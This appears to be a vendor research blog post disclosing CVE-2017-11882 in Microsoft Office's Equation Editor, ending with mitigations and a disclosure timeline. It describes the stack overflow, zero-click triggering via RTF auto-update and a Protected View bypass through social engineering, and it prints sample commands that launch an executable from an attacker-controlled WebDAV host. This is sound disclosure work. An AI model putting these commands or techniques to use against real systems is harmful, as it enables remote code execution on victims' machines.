Skeleton in the closet. MS Office vulnerability you didn’t know about

Category: 

Research

Tags: 

Microsoft

Office

RCE

vulnerability

Download whitepaper (PDF 3.38 MB)

Introduction

What is the beginning of a typical research? Any research begins with detecting vulnerabilities with common tools. Although the process does not require much time and effort, it works well.Detection procedure is focused on vulnerabilities in third-party libraries used in outdated software and widely known to the IT community.

A developer creates different versions of its smart devices using the same third-party and legacy code. It’s a common truth that usually Legacy code is the legacy (excuse tautology) of those distant times when no one followed secure development guidelines. In other words, there is a high probability that its source code has been irrevocably lost, and a binary file is the only thing left.

Keeping in mind the realities of the IoT world, Embedi’s security experts analyzed PC software and chose Microsoft Office, a major office application suite with a long history. The first MS Office version was released 20 years ago. It is being developed in accordance with secure SDL. A dedicated security team tirelessly works on security enhancements for the software product, while throughout its history MS Office proved to be an extremely tempting target for attackers.

Preparatory stage and methodology

The main question to be answered in this research is: How easy is it to find a vulnerability in third-party or legacy code of Microsoft Office and exploit it on the latest Microsoft Windows version? A thorough and precise research requires building attack surface of the Microsoft Office Suite.This attack surface serves as the litmus test to define:

• what elements of the MS Office Suite can be attacked
• what methods a cyber criminal can use to conduct a successful attack
• what modules of the MS Office Suite are responsible for handling formats and different segments of documents.

Also, to detect potential security weaknesses, it is worth to perform search for executable modules with the lowest number of enabled security mitigations against memory corruption vulnerabilities. See the corresponding Microsoft article for more details.

BinScope, Microsoft verification tool, may come in handy to detect security weaknesses. Although the latest version of BinScope does not support scanning of a catalog on the whole but only individual files stored in it or its sub-catalogs, a simple script written in PS or Python will make the process easier and more convenient. Sure thing, the second option is an older version of BinScope that supports this functionality.

These simple procedures have vital importance as they enable detecting dangerous components installed in a system, i.e. outdated ones as well as those compiled without security mitigations.

The information collected during the quick analysis of latest components distribution dates was used to make a top of the most “obsolete” components of Microsoft Office 2016 x86.

1. Microsoft Equation Editor (compiled without essential protective measures).
2. Redshift ODBC drivers and libraries (compiled without essential protective measures).
3. Redshift ODBC drivers and Salesforce libraries (compiled without essential protective measures).
4. Some .net assemblies responsible for Microsoft Office user interface.

After the analysis, BinScope identified the executable module EQNEDT32.EXE (Microsoft Equation Editor - see Fig.1). The component was compiled on 11/9/2000. Without any further recompilation, it was used in the following version of Microsoft Office. It seems that the component was developed by Design Science Inc. However, later the respective rights were purchased by Microsoft.

Fig.1. Microsoft Equation Editor

Fig. 2. Unsafe EQNEDT32.EXE

The results that ProcessMitigations tool showed are rather disappointing for the launched Windows 10 process:(see Fig. 3):

Fig.3. ProcessMitigations tool results

Thus, it was crystal clear that if a vulnerability were found, no security mitigation would prevent an attacker from exploiting it.

EQNEDT32.EXE. Case history

So, what is this component and how does it operate?

The purpose of this component is insertion and editing equations in documents (see Fig. 4).

Fig. 4. Insertion and editing of equations

It was designed with the help of the OLE technology. Any formula inserted in a document is an OLE object. The component is relevant for Microsoft Office 2000 and Microsoft 2003. Starting with Microsoft Office 2007 suite, methods of displaying and editing equations changed, and the component became outdated. Still, it was not removed from the Office suite, probably to ensure the software is compatible with documents of older versions. The component is an OutProc COM server executed in a separate address space. This means that security mechanisms and policies of the office processes (e.g. WINWORD.EXE, EXCEL.EXE, etc.) do not affect exploitation of the vulnerability in any way, which provides an attacker with a wide array of possibilities (Fig. 5).

Fig. 5. MS Office processes

OLE technology in a nutshell

To comprehend the way vulnerabilities, embedded in MS Office documents with the help of OLE, can be exploited, one should understand what is this technology is in the first place.

There are two parts of an OLE object embedded in a document:

• internal data
• a picture displayed in the place of an object embedded in a document.

Internal data may be unique, undocumented, and depends on an OLE object embedded in a document (e.g. Excel table, PowerPoint slide).

When a document is opened, a user is shown a picture (Presentation Stream). The OLE component is neither being loaded nor executed. Only when a user double-clicks this object, the procedure of loading OLE from internal data is initiated. The procedure is conducted with the help of COM interface IPersistStorage methods. After that, the DoVerb method is executed for a corresponding action (e.g. Edit).

EQNEDT32.EXE. Analysis

EQNEDT32.EXE implements a set of standard COM interface for OLE.

• IOleObject
• IDataObject
• IOleInPlaceObject
• IOleInPlaceActiveObject
• IPersistStorage

In terms of vulnerability detection, the Load method of the IPersistStorage is the most promising one. Apparently, internal data of an OLE object is parsed there. Therefore, it may contain
a vulnerability.

By using simple reverse engineering techniques, it is possible to find the IPersistStorage : Load method. It is quite evident that the “Equation Native” stream of OLE structured storage compound file is opened and read in it. The stream is used to store internal binary data of an equation, which has the following form (see Fig. 6):

Fig. 6. Internal binary data of an equation

It can be seen from the disassembled code of the component that internal data of the equation can be described as follows:

• 2-byte size of the header
• form field of the maximum equation size (4 bytes)
• header with information on the equation structure (24 bytes)
• internal representation of arbitrary length, consisting of elementary symbols and tags, of the equation.

The challenging part of the research was to identify the primary procedure that was parsing the equation form. It was the developer who made the task more difficult because copying and saving of the internal form in the HGLOBAL global memory were conducted with the help of global objects with numerous references to them.

The problem was solved by creating two code diff, using the DBI drcov instrument (a part of the DynamoRIO framework), to process two different equations. Coverage was calculated with the help of the lighthouse plug-in for IDA PRO (see Fig. 7).

Fig. 7. Coverage ration

The obtained functions and AlleyCat were used to create a path to the IPersistStorage::Load method (see Fig. 8).

The resulting path was a simple one formed by several functions. This way it was possible to identify primary procedures responsible for parsing a binary form of an equation, which made the process of finding a vulnerability much easier.

Fig. 8. Path to the IPersistStorage::Load method

Finding vulnerability

All the latest attacks on Microsoft Office were performed either by using social engineering methods or by exploiting logic vulnerabilities (e.g. CVE-2017-0199). A more classic option used in the scope of the research was a stack based overflow.

The function with the 004164FA address was the first to stick out. Its primary purpose was to copy null-terminated strings from an internal form to buffer which was sent to it as the first argument (see Fig. 9).

Fig. 9. 004164FA function

The procedure could be called from two other procedures. Both of them pass stack data with fixed length to it. What is more important both procedures were vulnerable to buffer overflow. It was found out that the first call related to operating with a certain window message processed in the EqnFrameWinProc function. In other words, exploitation of this call was no trivial task.

The second call, in its turn, related to the processing of a font name that was to be copied from an equation binary form. The call could be executed by calling IPersistStorage::Load. However, a straightforward exploitation of the function was not possible, because if it were overflowed another overflowed procedure would be called. The buffer of the first function would be too large and would overwrite all the argument of the second function that, while being executed, would access invalid memory location. Thus, the component process would crash until attacker controlled code can be executed. For the sake of convenience, in the scope of the research, we named it LogfontStruct_Overflow. The function had the 00421774 address and overflowed a buffer in the LOGFONTA structure (see Fig. 10).

Fig. 10. LOGFONTA function

Ironically, but not even correcting buffer size so that it would not overwrite input arguments of the LogfontStruct_Overflow function, could make the situation any better. Instead, another buffer overflow would be caused by the 004115A7 and 0041160F addresses.

Correcting the size of the passed string again would bring positive results: it would be possible to go to the necessary address.

Vulnerability exploitation

In this case ret2libc required arbitrary code execution. The first byte of known set addresses from EQNEDT32.EXE were zero bytes. That is why it was not possible to copy the ROP chain built from gadgets from the executable file (there were potential vulnerabilities in the component as well).

The obsolescence of the component resulted in the following:

1. EQNEDT32.EXE developers called for the WinExec function for some unknown reasons.
2. The last described function turned out to be a perfect fit for WinExec.

The point 2 was possible due to the argument that caused buffer overflow being the first one for the function with overflow. The second passed argument was NULL.

It resulted in the following primitive: an arbitrary execution of a command with 44 (at most) in it. The restriction was caused by a limited buffer size of the last overflowed function.(see Fig. 12).

Fig. 11. Stack structure

Thus, if the controlled address were jumped to, the stack would have the structure suitable to execute an arbitrary controlled command with the help of WinExec (see Fig. 11).

It resulted in the following primitive: an arbitrary execution of a command with 44 symbols (at most) in it.

The restriction was caused by a limited buffer size of the last overflowed function.(see Fig. 12).

Fig. 12. Arbitrary command execution

The size of an array that could be overflowed by an attacker was 36 bytes (overflow_buffer in the Fig. 12). Moreover, it was possible to use the space of the v12 variable and saved EBP, which made extra 8 bytes.

By inserting several OLEs that exploited the described vulnerability, it was possible to execute an arbitrary sequence of commands (e.g. to download an arbitrary file from the Internet and execute it).

One of the easiest ways to execute arbitrary code is to launch an executable file from the WebDAV server controlled by an attacker. However, it is possible only if the WebClient service operates in a proper way (NB. the service is not launched after a system is started). Nonetheless, an attacker can use the described vulnerability to execute the commands like cmd.exe /c start \\attacker_ip\ff. Such a command can be used as a part of an exploit and triggers starting WebClient. After that an attacker can start an executable file from the WebDAV server by using the \\attacker_ip\ff\1.exe command. The starting mechanism of an executable file is similar to that of the \\live.sysinternals.com\tools service.

Through the process of exploitation, Microsoft Office Word would enforce visible proper operation and display information (the mentioned Presentation Stream inserted as a picture in place of OLE). This way, it would be even more difficult to detect an attacker.

To update OLEs contained in a document without any interaction with a user (the interaction with an embedded object by double-clicking described above), an attacker could use OLE auto-update, one of the standard features of RTF processor in Microsoft Office. For this purpose, the \objupdate property had to be added to \object. As a result, the vulnerability would be triggered without user interaction.

Following this procedure, Embedi’s experts have managed to create the exploit that:

• works with all the Microsoft Office versions released in the past 17 years (including Microsoft Office 365)
• works with all the Microsoft Windows versions (including Microsoft Windows 10 Creators Update)
• relevant for all the types of architectures
• does not interrupt a user’s work with Microsoft Office
• if a document is opened, does not require any interaction with a user.

The only hindrance here is the protected view mode because it forbids active content execution (OLE/ActiveX/Macro). To bypass it cyber criminals use social engineering techniques. For example, they can ask a user to save a file to the Cloud (OneDrive, GoogleDrive, etc.). In this case, a file obtained from remote sources will not be marked with the MOTW (Mark of The Web) and, when a file is opened, the protected view mode will not be enabled.

However, if the software had been compiled with at least standard security mitigations, it would have been unexploitable. All this demonstrates that EQNEDT32.EXE is an obsolete component that may contain a tremendous number of vulnerabilities and security weaknesses, which can be easily exploited.

In the Microsoft Security Development Lifecycle (SDL) Microsoft developers recommend: "Rigorously brought all legacy code up to current security standards".

Recommendations on security enhancements

Because the component has numerous security issues and the vulnerabilities it contains can be easily exploited, the best option for a user to ensure security is to disable registering of the component in Windows registry. To do this a user should enter the following command in the command prompt and change XX.X to the correct Office version used:

reg add "HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COM Compatibility\{0002CE02-0000- 0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400

or in case of 32-bit Microsoft Office package in x64 OS:

reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400

After that, it will be impossible to start the vulnerable component and exploitation of the vulnerability in MS Office documents will be prevented.

Embedi team would like to thank Martin Hüsser from Inter-Networking AG (Switzerland) for testing and the updating of the command above.

Also, documents obtained from unknown and untrusted sources should be opened in protected view. The Microsoft Office sandbox (Protected View) is a well-designed one, especially if the AppContainer (Windows 8.1 and newer) is used, while it reduces the possibility of a successful exploitation of vulnerabilities in Microsoft Office down to zero. What is more, it reduces attack surface by prohibiting execution and updating of active content (OLE/ActiveX/Macro), along with loading of components from external sources (e.g. images accessed by a reference link).

Sure thing, the importance of timely security updates should not be neglected either.

Conclusion

• Even SDL cannot prevent easily exploited vulnerabilities from emerging.
• Third-party and legacy code are sources of major concern for a vendor.
• Security mitigation has vital importance, considering realities of the modern world.
• Software and the system, on the whole, should be updated and supported.

Vulnerabilities and security weaknesses in critical infrastructures and industrial fields are no peculiarity in any way. They are common for automotive industry and embedded devices. The latter, in their turn, are extremely difficult to be updated. What is more important the overwhelming majority of developers have neither security team nor SDL. All these simple facts paint a bleak picture for both developers and users and emphasize the importance of security measure that should be taken to ensure data protection.

Disclosure timeline

08/03/2017 - Vulnerabilities reported to Microsoft

08/03/2017 - Microsoft request for proof-of-concept of vulnerabilities

08/03/2017 - Exploit targeting Word sent to Microsoft

08/04/2017 - Microsoft acknowledges receiving the report

11/14/2017 - Final fix and CVE-2017-11882 and MITRE CVE-2017-11882 assignment

11/14/2017 - Blog article posted. Whitepaper published